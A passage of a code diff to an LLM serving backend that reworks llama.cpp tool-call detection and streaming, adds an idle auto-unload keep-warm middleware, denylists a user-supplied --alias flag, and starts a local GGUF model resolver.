+        # re-prompt slots don't extend the budget. Mirrors the safetensors guard.
+        _tool_iters_done = 0
         _forced_tool_call_pending = False
 
         # Reserve extra iterations for re-prompts so they don't consume the
@@ -7844,12 +8639,21 @@ class LlamaCppBackend:
         for iteration in range(max_tool_iterations + _extra):
             if cancel_event is not None and cancel_event.is_set():
                 return
+            # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+            _turn_executed_real_tool = False
 
             active_tools = tool_controller.active_tools()
             if not active_tools:
                 _append_budget_exhausted_nudge = False
                 break
-            _tool_xml_signals = TOOL_XML_SIGNALS
+            # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
+            _enabled_tool_names = {
+                (tool.get("function") or {}).get("name")
+                for tool in active_tools
+                if (tool.get("function") or {}).get("name")
+            }
+            # Shared signal tuple so GGUF BUFFERING wakes on every format the parser knows (like safetensors).
+            _tool_xml_signals = _SHARED_TOOL_XML_SIGNALS
 
             # Build payload -- stream: True so we detect tool signals
             # in the first 1-2 chunks without a non-streaming penalty.
@@ -7894,6 +8698,9 @@ class LlamaCppBackend:
                 content_buffer = ""  # Raw content held during BUFFERING
                 content_accum = ""  # All content tokens (for tool parsing)
                 reasoning_accum = ""
+                # Time each reasoning pass so final answers can replace tool timing.
+                _reasoning_started_at = None
+                _reasoning_summary_emitted = False
                 cumulative_display = ""  # Cumulative yielded text (with <think>)
                 in_thinking = False
                 has_content_tokens = False
@@ -8068,6 +8875,8 @@ class LlamaCppBackend:
                                 # between tool iterations).
                                 reasoning = delta.get("reasoning_content", "")
                                 if reasoning:
+                                    if _reasoning_started_at is None:
+                                        _reasoning_started_at = time.monotonic()
                                     reasoning_accum += reasoning
                                     if detect_state == _S_STREAMING:
                                         if not in_thinking:
@@ -8083,6 +8892,13 @@ class LlamaCppBackend:
                                 # ── Content tokens ──
                                 token = delta.get("content", "")
                                 if token:
+                                    # First answer token ends reasoning.
+                                    if (
+                                        _reasoning_started_at is not None
+                                        and not _reasoning_summary_emitted
+                                    ):
+                                        _reasoning_summary_emitted = True
+                                        yield _reasoning_summary_event(_reasoning_started_at)
                                     has_content_tokens = True
                                     content_accum += token
 
@@ -8095,12 +8911,18 @@ class LlamaCppBackend:
                                             in_thinking = False
                                         cumulative_display += token
                                         cleaned = _strip_tool_markup_streaming(cumulative_display)
-                                        if len(cleaned) > len(_last_emitted):
-                                            _last_emitted = cleaned
+                                        # Hold a trailing bare active-tool-name (split rehearsal)
+                                        # until [ARGS] arrives; released by later prose or stream end.
+                                        _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                        _emit = (
+                                            cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                                        )
+                                        if len(_emit) > len(_last_emitted):
+                                            _last_emitted = _emit
                                             if not _suppress_visible_output:
                                                 yield {
                                                     "type": "content",
-                                                    "text": cleaned,
+                                                    "text": _emit,
                                                 }
 
                                     elif detect_state == _S_BUFFERING:
@@ -8109,7 +8931,8 @@ class LlamaCppBackend:
                                         if not stripped_buf:
                                             continue
 
-                                        # Check tool signal prefixes.
+                                        # Bracket tags arrive mid-buffer, so substring-check too;
+                                        # ``[ARGS]`` counts only as a regex-matched NAME[ARGS].
                                         is_prefix = False
                                         is_match = False
                                         for sig in _tool_xml_signals:
@@ -8119,14 +8942,85 @@ class LlamaCppBackend:
                                             if sig.startswith(stripped_buf):
                                                 is_prefix = True
                                                 break
+                                            if sig == "[ARGS]":
+                                                # Active NAME[ARGS] only; inactive-name prose
+                                                # is gated out, not drained/parsed.
+                                                if (
+                                                    _gguf_rehearsal_signal_pos(
+                                                        stripped_buf, _detect_tools
+                                                    )
+                                                    >= 0
+                                                ):
+                                                    is_match = True
+                                                    break
+                                            elif sig.startswith("[") and sig in stripped_buf:
+                                                is_match = True
+                                                break
 
-                                        if is_match:
+                                        # Split rehearsal: hold the bare name until
+                                        # its [ARGS] arrives and matches above.
+                                        is_rehearsal_prefix = False
+                                        if (
+                                            not is_match
+                                            and not is_prefix
+                                            and _is_rehearsal_prefix(stripped_buf, _detect_tools)
+                                        ):
+                                            is_prefix = True
+                                            is_rehearsal_prefix = True
+
+                                        # Signal-less call shapes (mirror the safetensors
+                                        # loop): Llama-3.2 bare {"name":..} and Gemma
+                                        # call:NAME{...} would otherwise stream raw.
+                                        _hold_buffer = False
+                                        # Whole buffer is the call (no visible prefix) -- drain silently.
+                                        _drain_silently = False
+                                        if not is_match and not is_prefix:
+                                            _bare = strip_llama3_leading_sentinels(stripped_buf)
+                                            if _bare.startswith("{"):
+                                                if _balanced_brace_end(_bare, 0) is None:
+                                                    if len(stripped_buf) < _MAX_BARE_JSON_BUFFER:
+                                                        _hold_buffer = True
+                                                    elif _looks_like_enabled_bare_json(
+                                                        _bare, _enabled_tool_names
+                                                    ):
+                                                        # Oversized still-open enabled call: drain
+                                                        # rather than leak; a giant ordinary JSON
+                                                        # answer still streams.
+                                                        _drain_silently = True
+                                                elif self._parse_tool_calls_from_text(
+                                                    content_buffer,
+                                                    allow_incomplete = auto_heal_tool_calls,
+                                                    enabled_tool_names = _enabled_tool_names,
+                                                ):
+                                                    _drain_silently = True
+                                            elif (
+                                                "call:".startswith(stripped_buf)
+                                                or _GEMMA_BARE_TC_PREFIX_RE.match(stripped_buf)
+                                                is not None
+                                                or _GEMMA_BARE_TC_RE.match(stripped_buf) is not None
+                                            ):
+                                                # Whitespace-tolerant like the parser.
+                                                if _GEMMA_BARE_TC_RE.match(stripped_buf):
+                                                    _drain_silently = True
+                                                elif len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                                    _hold_buffer = True
+
+                                        if _drain_silently:
+                                            # No visible prefix -- the buffered text IS
+                                            # the call; drain without yielding it.
+                                            detect_state = _S_DRAINING
+                                        elif is_match:
                                             # Tool signal -- flush any visible
                                             # prefix before DRAINING so the
                                             # route sends it before tool_start.
+                                            # Use the final strip (all families incl. Llama
+                                            # <|python_tag|> / Mistral name): the buffer holds
+                                            # the whole call, so a streaming closed-only strip
+                                            # would leak its open-ended markup as display text.
                                             _flush_reasoning_and_buffer()
-                                            cleaned = _strip_tool_markup_streaming(
+                                            cleaned = _strip_tool_markup(
                                                 cumulative_display,
+                                                final = True,
                                                 force = True,
                                             )
                                             if len(cleaned) > len(_last_emitted):
@@ -8137,7 +9031,15 @@ class LlamaCppBackend:
                                                         "text": cleaned,
                                                     }
                                             detect_state = _S_DRAINING
-                                        elif is_prefix and len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                        elif _hold_buffer or (
+                                            is_prefix
+                                            and (
+                                                is_rehearsal_prefix
+                                                or len(stripped_buf) < _MAX_BUFFER_CHARS
+                                            )
+                                        ):
+                                            # A rehearsal prefix is self-bounded; the buffer
+                                            # cap must not cut long MCP names short.
                                             pass  # keep buffering
                                         else:
                                             # Not a tool -- flush buffer
@@ -8148,12 +9050,20 @@ class LlamaCppBackend:
                                             cleaned = _strip_tool_markup(
                                                 cumulative_display,
                                             )
-                                            if len(cleaned) > len(_last_emitted):
-                                                _last_emitted = cleaned
+                                            # Same trailing-name hold as STREAMING for this
+                                            # first flush out of BUFFERING.
+                                            _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                            _emit = (
+                                                cleaned[: len(cleaned) - _hold]
+                                                if _hold
+                                                else cleaned
+                                            )
+                                            if len(_emit) > len(_last_emitted):
+                                                _last_emitted = _emit
                                                 if not _suppress_visible_output:
                                                     yield {
                                                         "type": "content",
-                                                        "text": cleaned,
+                                                        "text": _emit,
                                                     }
 
                             except json.JSONDecodeError:
@@ -8164,7 +9074,18 @@ class LlamaCppBackend:
                 # ── Resolve BUFFERING at stream end ──
                 if detect_state == _S_BUFFERING:
                     stripped_buf = content_buffer.lstrip()
-                    if stripped_buf and any(s in stripped_buf for s in _tool_xml_signals):
+                    # A held bare-JSON fragment has no XML signal; route it to DRAINING (the signal-only
+                    # gate below would flush the raw JSON to the user).
+                    _bare_eos = strip_llama3_leading_sentinels(stripped_buf)
+                    # Gate on enabled names so an ordinary JSON answer isn't routed to DRAINING and dropped.
+                    _is_bare_tc = bool(active_tools) and _looks_like_enabled_bare_json(
+                        _bare_eos, _enabled_tool_names
+                    )
+                    if stripped_buf and _gguf_has_genuine_tool_signal(
+                        stripped_buf, _tool_xml_signals, _detect_tools
+                    ):
+                        detect_state = _S_DRAINING
+                    elif _is_bare_tc:
                         detect_state = _S_DRAINING
                     elif content_accum or reasoning_accum:
                         detect_state = _S_STREAMING
@@ -8180,9 +9101,10 @@ class LlamaCppBackend:
                                     ),
                                 }
                         elif reasoning_accum and not has_content_tokens:
-                            # Reasoning-only response: show reasoning as plain
-                            # text, matching the final streaming pass for
-                            # models that put everything in reasoning.
+                            # Reasoning-only reply: show it as plain text.
+                            if _reasoning_started_at is not None and not _reasoning_summary_emitted:
+                                _reasoning_summary_emitted = True
+                                yield _reasoning_summary_event(_reasoning_started_at)
                             cumulative_display = reasoning_accum
                             if not _suppress_visible_output:
                                 yield {
@@ -8190,20 +9112,26 @@ class LlamaCppBackend:
                                     "text": cumulative_display,
                                 }
                     else:
+                        # Held buffer was no tool signal and no enabled bare-JSON call: a leading ``{`` is an
+                        # ordinary JSON answer and must be shown; any other partial-markup prefix is dropped.
+                        _held = strip_llama3_leading_sentinels(content_buffer.lstrip())
+                        if _held.startswith("{") and not _suppress_visible_output:
+                            yield {"type": "content", "text": _held}
                         return
 
                 # ── STREAMING path: no tool call ──
                 if detect_state == _S_STREAMING:
-                    # Safety net: check for XML tool signals in content. The
+                    # Safety net: re-parse the full content for tool calls. The
                     # route layer resets prev_text on tool_start, so post-tool
                     # synthesis streams correctly even if content was emitted
                     # before the tool XML.
-                    _safety_tc = None
-                    if any(s in content_accum for s in _tool_xml_signals):
-                        _safety_tc = self._parse_tool_calls_from_text(
-                            content_accum,
-                            allow_incomplete = auto_heal_tool_calls,
-                        )
+                    # Unconditional (not gated on _tool_xml_signals): bare-JSON and Gemma wrapper-less
+                    # calls carry no XML signal, so a signal gate would let them slip past.
+                    _safety_tc = self._parse_tool_calls_from_text(
+                        content_accum,
+                        allow_incomplete = auto_heal_tool_calls,
+                        enabled_tool_names = _enabled_tool_names,
+                    )
                     if not _safety_tc:
                         # ── Re-prompt on plan-without-action ──
                         # If the model described its intent (forward-looking
@@ -8221,8 +9149,10 @@ class LlamaCppBackend:
                             r"(?i)\brender[_\s-]?html\b",
                             _stripped,
                         )
+                        # None keeps the default-on re-prompt; False disables it.
                         if (
                             auto_heal_tool_calls
+                            and (nudge_tool_calls is None or nudge_tool_calls)
                             and active_tools
                             and not _render_html_already_done_intent
                             and _reprompt_count < _MAX_REPROMPTS
@@ -8251,12 +9181,7 @@ class LlamaCppBackend:
                             conversation.append(
                                 {
                                     "role": "user",
-                                    "content": (
-                                        "You have access to enabled tools. If a tool is needed to satisfy "
-                                        "the user's request or complete the action you described, call "
-                                        f"{tool_hint} now. If no tool is needed, provide the final answer "
-                                        "and follow the user's requested format."
-                                    ),
+                                    "content": _reprompt_to_act_message(tool_hint),
                                 }
                             )
                             # Accumulate tokens and timing from this iteration.
@@ -8288,6 +9213,12 @@ class LlamaCppBackend:
                                         "type": "content",
                                         "text": forced_visible_text,
                                     }
+                        elif not _suppress_visible_output:
+                            # Turn ended as a plain answer (no [ARGS] followed): the held
+                            # rehearsal tail is real prose, release it.
+                            _final_clean = _strip_tool_markup_streaming(cumulative_display)
+                            if len(_final_clean) > len(_last_emitted):
+                                yield {"type": "content", "text": _final_clean}
 
                         # Content was already streamed.  Yield metadata.
                         yield {"type": "status", "text": ""}
@@ -8320,10 +9251,13 @@ class LlamaCppBackend:
                             for i in sorted(tool_calls_acc)
                             if (tool_calls_acc[i].get("function", {}).get("name", "").strip())
                         ] or None
-                    if not tool_calls and any(s in content_accum for s in _tool_xml_signals):
+                    if not tool_calls:
+                        # Unconditional re-parse: we only reach DRAINING when the buffer looked like a
+                        # call, and bare-JSON / Gemma wrapper-less calls carry no XML signal to gate on.
                         tool_calls = self._parse_tool_calls_from_text(
                             content_accum,
                             allow_incomplete = auto_heal_tool_calls,
+                            enabled_tool_names = _enabled_tool_names,
                         )
                     if tool_calls and not has_structured_tc:
                         content_text = _strip_tool_markup(
@@ -8331,6 +9265,11 @@ class LlamaCppBackend:
                             final = True,
                             force = True,
                         )
+                        # ``_strip_tool_markup`` only knows XML; also drop a leading bare-JSON call so the
+                        # executed call isn't replayed as text or next-turn history.
+                        content_text = strip_leading_bare_json_call(
+                            content_text, _enabled_tool_names
+                        )
                     if tool_calls:
                         logger.info(
                             f"Parsed {len(tool_calls)} tool call(s) from "
@@ -8344,6 +9283,13 @@ class LlamaCppBackend:
                         if content_accum:
                             # Strip leaked tool-call XML before yielding.
                             content_accum = _strip_tool_markup(content_accum, final = True)
+                        # A truncated bare-JSON call has no XML markup to strip and didn't parse. With
+                        # Auto-Heal on, drop a leading ENABLED-tool fragment (ordinary JSON answers untouched);
+                        # off keeps it visible per the strict contract.
+                        if content_accum and active_tools and auto_heal_tool_calls:
+                            content_accum = strip_leading_bare_json_call(
+                                content_accum, _enabled_tool_names
+                            )
                         if content_accum:
                             yield {"type": "content", "text": content_accum}
                         _meta = _build_metadata_event(
@@ -8361,6 +9307,29 @@ class LlamaCppBackend:
                 _accumulated_predicted_ms += _it.get("predicted_ms", 0)
                 _accumulated_predicted_n += _it.get("predicted_n", 0)
 
+                # Collapse exact-duplicate calls and cap the count for the TEXTUAL
+                # fallback (mirrors the safetensors loop; see _MAX_TOOL_CALLS_PER_TURN).
+                if tool_calls and not has_structured_tc and len(tool_calls) > 1:
+                    _seen_keys: set = set()
+                    _deduped: list = []
+                    for _tc in tool_calls:
+                        _fn = _tc.get("function", {}) or {}
+                        _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                        if _key in _seen_keys:
+                            continue
+                        _seen_keys.add(_key)
+                        _deduped.append(_tc)
+                        if len(_deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                            break
+                    if len(_deduped) != len(tool_calls):
+                        logger.info(
+                            "GGUF textual fallback: collapsed %d repeated tool call(s) "
+                            "in one turn to %d",
+                            len(tool_calls),
+                            len(_deduped),
+                        )
+                    tool_calls = _deduped
+
                 # disable_parallel_tool_use: execute only the first tool call
                 # this turn. Truncate before building assistant_msg so the
                 # conversation stays consistent and extra calls are never executed.
@@ -8486,6 +9455,8 @@ class LlamaCppBackend:
                             _kb_search_count += 1
                     completion = tool_controller.record_result(decision, result)
                     resolved_provisional_tool_call_ids.add(decision.tool_call_id)
+                    # A tool ran this turn, so it counts against the caller's budget.
+                    _turn_executed_real_tool = True
                     yield completion.tool_end_event()
                     conversation.append(completion.tool_message())
 
@@ -8509,6 +9480,12 @@ class LlamaCppBackend:
                 if tool_controller.force_final_answer or not tool_controller.active_tools():
                     _append_budget_exhausted_nudge = False
                     break
+                # Count only real tool turns against the cap so reserved re-prompt slots can't become
+                # extra tool rounds; a no-op correction turn doesn't consume budget (GGUF parity).
+                if _turn_executed_real_tool:
+                    _tool_iters_done += 1
+                    if _tool_iters_done >= max_tool_iterations:
+                        break
                 continue
 
             except httpx.ConnectError:
@@ -8591,6 +9568,8 @@ class LlamaCppBackend:
         in_thinking = False
         has_content_tokens = False
         reasoning_text = ""
+        _final_reasoning_started_at: Optional[float] = None
+        _final_reasoning_summary_emitted = False
         _metadata_usage = None
         _metadata_timings = None
         _metadata_finish_reason = None
@@ -8616,6 +9595,12 @@ class LlamaCppBackend:
                             continue
                         if line == "data: [DONE]":
                             if in_thinking:
+                                if (
+                                    _final_reasoning_started_at is not None
+                                    and not _final_reasoning_summary_emitted
+                                ):
+                                    _final_reasoning_summary_emitted = True
+                                    yield _reasoning_summary_event(_final_reasoning_started_at)
                                 if has_content_tokens:
                                     cumulative += "</think>"
                                     yield {
@@ -8648,6 +9633,8 @@ class LlamaCppBackend:
 
                                 reasoning = delta.get("reasoning_content", "")
                                 if reasoning:
+                                    if _final_reasoning_started_at is None:
+                                        _final_reasoning_started_at = time.monotonic()
                                     reasoning_text += reasoning
                                     if not in_thinking:
                                         cumulative += "<think>"
@@ -8657,6 +9644,12 @@ class LlamaCppBackend:
 
                                 token = delta.get("content", "")
                                 if token:
+                                    if (
+                                        _final_reasoning_started_at is not None
+                                        and not _final_reasoning_summary_emitted
+                                    ):
+                                        _final_reasoning_summary_emitted = True
+                                        yield _reasoning_summary_event(_final_reasoning_started_at)
                                     has_content_tokens = True
                                     if in_thinking:
                                         cumulative += "</think>"
@@ -8748,7 +9741,7 @@ class LlamaCppBackend:
             system_text = _block_text(system)
 
         try:
-            with httpx.Client(timeout = 10, headers = self._auth_headers) as client:
+            with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client:
 
                 def _tokenize(text: str) -> int:
                     r = client.post(
@@ -8864,7 +9857,7 @@ class LlamaCppBackend:
         """Codec name on match, None on non-audio, raises on transport/JSON errors."""
         if not self.is_loaded:
             return None
-        with httpx.Client(timeout = 10, headers = self._auth_headers) as client:
+        with httpx.Client(timeout = 10, headers = self._auth_headers, trust_env = False) as client:
 
             def _detok(tid: int) -> str:
                 # Non-200 means "marker not in vocab" -- keep probing.
@@ -8979,7 +9972,9 @@ class LlamaCppBackend:
             payload["n_probs"] = 1
 
         with httpx.Client(
-            timeout = httpx.Timeout(300, connect = 10), headers = self._auth_headers
+            timeout = httpx.Timeout(300, connect = 10),
+            headers = self._auth_headers,
+            trust_env = False,
         ) as client:
             resp = client.post(f"{self.base_url}/completion", json = payload)
             if resp.status_code != 200:
diff --git a/studio/backend/core/inference/llama_http.py b/studio/backend/core/inference/llama_http.py
index b554949c3e..8aa072e35b 100644
--- a/studio/backend/core/inference/llama_http.py
+++ b/studio/backend/core/inference/llama_http.py
@@ -22,11 +22,7 @@ _LIMITS = httpx.Limits(max_connections = 64, max_keepalive_connections = 32)
 
 
 def _new_client() -> httpx.AsyncClient:
-    try:
-        return httpx.AsyncClient(limits = _LIMITS)
-    except Exception:
-        # Mirror external_provider: an unsupported env proxy scheme can raise.
-        return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
+    return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
 
 
 # One client per running event loop: an httpx client binds its transport to the
diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py
new file mode 100644
index 0000000000..4ce663c3ce
--- /dev/null
+++ b/studio/backend/core/inference/llama_keepwarm.py
@@ -0,0 +1,298 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model.
+
+Off by default (idle seconds = 0). When enabled, a background loop unloads the
+loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A
+pure-ASGI middleware tracks in-flight inference requests so a long stream that
+outlives the TTL is never unloaded mid-response.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import contextlib
+import threading
+import time
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+_lock = threading.Lock()
+_inflight = 0
+# Requests blocked on the unload gate but not yet counted in _inflight: the idle
+# loop must not unload while one is waiting (it would unload out from under it).
+_pending = 0
+_last_active = time.monotonic()
+# The (id, quant) idle-unload last freed, so an alias/unknown request that would
+# otherwise 503 against an empty backend can reload it (set on unload, cleared on
+# reload). Storing the quant means the reload restores the exact freed variant.
+_last_unloaded_model = None
+# Guards inflight bumps against the idle-check-then-unload race, and blocks new
+# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is
+# shared across every event loop in the process, so a per-loop gate would let a
+# request on loop B start inference while a swap on loop A tears the model down.
+_lifecycle_lock = threading.Lock()
+
+
+@contextlib.asynccontextmanager
+async def _unload_gate():
+    # Acquire off the loop: non-blocking first (the common uncontended case), else
+    # poll a non-blocking acquire off a short sleep. Polling keeps the wait off this
+    # loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is
+    # not held, so it never leaks (mirrors the auto-switch swap gate).
+    while not _lifecycle_lock.acquire(blocking = False):
+        await asyncio.sleep(0.02)
+    try:
+        yield
+    finally:
+        _lifecycle_lock.release()
+
+
+_INFERENCE_PREFIXES = ("/v1/", "/api/inference/")
+_INFERENCE_SUFFIXES = (
+    "/chat/completions",
+    "/completions",
+    "/messages",
+    "/messages/count_tokens",  # counts via the loaded tokenizer; protect like /messages
+    "/embeddings",
+    "/responses",
+    "/generate/stream",  # Studio's own streaming route on the same llama-server
+    "/audio/generate",  # direct GGUF TTS; can outlive the idle TTL
+)
+
+
+def _is_inference_path(path: str) -> bool:
+    if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES):
+        return True
+    # Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the
+    # chat handler and streams from the same backend, so protect it from idle unload.
+    return path.startswith("/p/") and path.endswith("/v1/chat/completions")
+
+
+def _note_pending() -> None:
+    global _pending
+    with _lock:
+        _pending += 1
+
+
+def _note_unpending() -> None:
+    global _pending
+    with _lock:
+        _pending = max(0, _pending - 1)
+
+
+def _note_start() -> None:
+    # Do not stamp _last_active here: while _inflight > 0 the model is already
+    # protected (see _is_idle), and stamping on start lets an external-provider
+    # request that is later untracked still reset the local idle timer.
+    global _inflight, _pending
+    with _lock:
+        _pending = max(0, _pending - 1)
+        _inflight += 1
+
+
+def _note_end() -> None:
+    global _inflight, _last_active
+    with _lock:
+        _inflight = max(0, _inflight - 1)
+        _last_active = time.monotonic()
+
+
+def _note_untracked_end() -> None:
+    # Drop a request that never used the local GGUF without stamping local
+    # activity, so periodic external-provider traffic can't keep the model warm.
+    global _inflight
+    with _lock:
+        _inflight = max(0, _inflight - 1)
+
+
+def _is_idle(ttl_seconds: float) -> bool:
+    with _lock:
+        return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds
+
+
+def _note_activity() -> None:
+    """Stamp activity, e.g. on a (re)load, so the model survives at least one TTL."""
+    global _last_active
+    with _lock:
+        _last_active = time.monotonic()
+
+
+def other_inference_request_count(
+    current_request_counted: bool = True, *, include_pending: bool = True
+) -> int:
+    """Tracked inference requests other than the current route call.
+
+    The middleware counts OpenAI-compatible requests before route code runs, so
+    the caller is excluded by default. Idle-unload counts pending waiters too (a
+    swap holding the gate would unload out from under them). The swap guard passes
+    include_pending=False: a pending request is blocked in the middleware and has
+    not started inference, so it can't be the request a swap would interrupt.
+    """
+    with _lock:
+        active = _inflight
+        if current_request_counted and active > 0:
+            active -= 1
+        return max(0, active) + (_pending if include_pending else 0)
+
+
+# Set on the ASGI scope by a route that proved this request won't touch
+# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count
+# excludes it and the middleware skips its own end-decrement.
+_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked"
+
+
+def untrack_current_request(scope) -> None:
+    """Drop this request from the in-flight count once the route knows it won't
+    use the local GGUF, so unrelated external-provider traffic can't trip the
+    swap busy guard. Idempotent; the middleware then skips its end-decrement."""
+    if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY):
+        return
+    scope[_UNTRACKED_SCOPE_KEY] = True
+    _note_untracked_end()
+
+
+def inference_lifecycle_gate():
+    """The gate a model swap holds so new inference can't start mid-load. Process-
+    wide, so a swap on one loop blocks inference starting on any other loop."""
+    return _unload_gate()
+
+
+def note_model_loaded() -> None:
+    """Record a successful GGUF load: stamp activity and drop any reload stash so
+    a manual load clears it synchronously, not only on the next idle poll."""
+    _note_activity()
+    _set_last_unloaded(None)
+
+
+def note_model_unloaded() -> None:
+    """Record a deliberate (user/API) unload: drop any idle reload stash so the next
+    request can't resurrect the just-unloaded model. The idle loop unloads via the
+    backend directly and then stashes the freed model for an alias reload; an
+    explicit unload instead means "stay unloaded", so it must not stamp activity."""
+    _set_last_unloaded(None)
+
+
+def get_last_unloaded_model():
+    with _lock:
+        return _last_unloaded_model
+
+
+def _set_last_unloaded(value) -> None:
+    global _last_unloaded_model
+    with _lock:
+        _last_unloaded_model = value
+
+
+class LlamaKeepWarmMiddleware:
+    """Pure ASGI: count in-flight inference requests and stamp activity on completion."""
+
+    def __init__(self, app):
+        self.app = app
+
+    async def __call__(self, scope, receive, send):
+        # Inference endpoints are all POST; skipping non-POST avoids counting CORS
+        # preflight (OPTIONS). ``or ""`` guards an explicit None path.
+        if (
+            scope.get("type") != "http"
+            or scope.get("method") != "POST"
+            or not _is_inference_path(scope.get("path") or "")
+        ):
+            await self.app(scope, receive, send)
+            return
+        # Always track in-flight on inference paths, even when the feature is off,
+        # so a stream that starts before idle-unload is enabled can't be unloaded
+        # mid-response if the operator turns it on during that stream. Counting is
+        # cheap and invisible to clients (the response is proxied unchanged).
+        # Mark pending before the gate so the idle loop (which holds the gate while
+        # unloading) can't free the model while this request is waiting to start.
+        _note_pending()
+        started = False
+        try:
+            async with _unload_gate():
+                _note_start()
+                started = True
+        finally:
+            if not started:
+                _note_unpending()
+        ended = {"done": False}
+        status = {"code": None}
+
+        def _finish() -> None:
+            # A route that untracked itself already decremented; don't double-count.
+            if ended["done"]:
+                return
+            ended["done"] = True
+            if scope.get(_UNTRACKED_SCOPE_KEY):
+                return
+            # This middleware runs before FastAPI auth, so a 401/403 reaches here
+            # without ever touching llama.cpp. Decrement the in-flight count (to
+            # balance _note_start) but do NOT stamp activity, or repeated
+            # unauthenticated probes on an exposed server would keep the model warm
+            # and never let idle-unload free VRAM.
+            if status["code"] in (401, 403):
+                _note_untracked_end()
+            else:
+                _note_end()
+
+        async def send_wrapper(message):
+            if message.get("type") == "http.response.start":
+                status["code"] = message.get("status")
+            # Final body frame marks the end of a (possibly streaming) response.
+            elif message.get("type") == "http.response.body" and not message.get(
+                "more_body", False
+            ):
+                _finish()
+            await send(message)
+
+        try:
+            await self.app(scope, receive, send_wrapper)
+        finally:
+            _finish()
+
+
+def _loaded_identity(backend):
+    if not backend.is_loaded or not backend.model_identifier:
+        return None
+    # Third slot is the advertised id (repo id) an auto-switch load sets on the
+    # backend; it's the override key, so an idle stash keyed by the concrete load
+    # path doesn't drop the user's saved launch flags on the alias reload.
+    advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier
+    return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised)
+
+
+async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
+    """Unload the loaded GGUF once idle past the configured TTL. Inert when off."""
+    from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds
+
+    seen_model = None
+    while True:
+        await asyncio.sleep(poll_seconds)
+        try:
+            ttl = get_auto_unload_idle_seconds()
+            if ttl <= 0:
+                continue
+            from routes.inference import get_llama_cpp_backend
+
+            backend = get_llama_cpp_backend()
+            # Track by (id, variant): a (re)loaded model -- including the same repo
+            # at a different quant -- counts as activity so it survives one TTL
+            # before its first request (loads bypass the activity middleware).
+            current = _loaded_identity(backend)
+            if current != seen_model:
+                seen_model = current
+                if current is not None:
+                    _note_activity()
+                    _set_last_unloaded(None)  # a model is loaded; drop stale stash
+            async with _unload_gate():
+                if backend.is_loaded and _is_idle(ttl):
+                    freed = _loaded_identity(backend)
+                    await asyncio.to_thread(backend.unload_model)
+                    _set_last_unloaded(freed)  # let an alias request reload it
+                    logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl)
+                    seen_model = None
+        except Exception as exc:
+            logger.debug("idle_unload_loop iteration failed: %s", exc)
diff --git a/studio/backend/core/inference/llama_server_args.py b/studio/backend/core/inference/llama_server_args.py
index b42be5ee0d..f400d2ae40 100644
--- a/studio/backend/core/inference/llama_server_args.py
+++ b/studio/backend/core/inference/llama_server_args.py
@@ -25,6 +25,11 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = (
     # Model identity: Studio resolves it from LoadRequest; a second -m would
     # load a different model than Studio thinks it loaded.
     frozenset({"-m", "--model"}),
+    # Public model id: Studio sets a sanitized --alias so the OpenAI API never
+    # exposes the local .gguf path. A user-supplied alias is appended after
+    # Studio's and, with llama.cpp's last-wins parsing, would reintroduce the
+    # path leak this is meant to prevent.
+    frozenset({"-a", "--alias"}),
     frozenset({"-mu", "--model-url"}),
     frozenset({"-dr", "--docker-repo"}),
     frozenset({"-hf", "-hfr", "--hf-repo"}),
diff --git a/studio/backend/core/inference/local_model_resolver.py b/studio/backend/core/inference/local_model_resolver.py
new file mode 100644
index 0000000000..002cafe2c8
--- /dev/null
+++ b/studio/backend/core/inference/local_model_resolver.py
@@ -0,0 +1,269 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF.
+
+Used by the opt-in auto-switch path. The match is conservative: only names
+that map to an already-downloaded local GGUF (and a quant that is actually on
+disk) are eligible, so an arbitrary OpenAI model string still falls through to
+the loaded model (drop-in compat) and no surprise multi-GB download is ever
+triggered. The local-model scan is cached for a few seconds since auto-switch
+consults it per request.
+"""
+
+from __future__ import annotations
+
+import threading
+import time
+from dataclasses import dataclass
+from typing import Optional
+
+from core.inference.model_ids import public_model_id
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+
+@dataclass(frozen = True)
+class _LocalGgufEntry:
+    loader_id: str  # advertised id (repo id / folder name), also the override key
+    load_path: str  # concrete on-disk dir/file passed to /load so it never downloads
+    variants: tuple[str, ...]  # local quant labels; () for a standalone .gguf
+
+
+_CACHE_TTL_S = 5.0
+_lock = threading.Lock()
+_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {})
+
+
+def _is_abs_path_id(value: str) -> bool:
+    """True when an id is an absolute filesystem path (the ./models and LM Studio
+    scanners use the on-disk path as the id) rather than a repo id like org/name."""
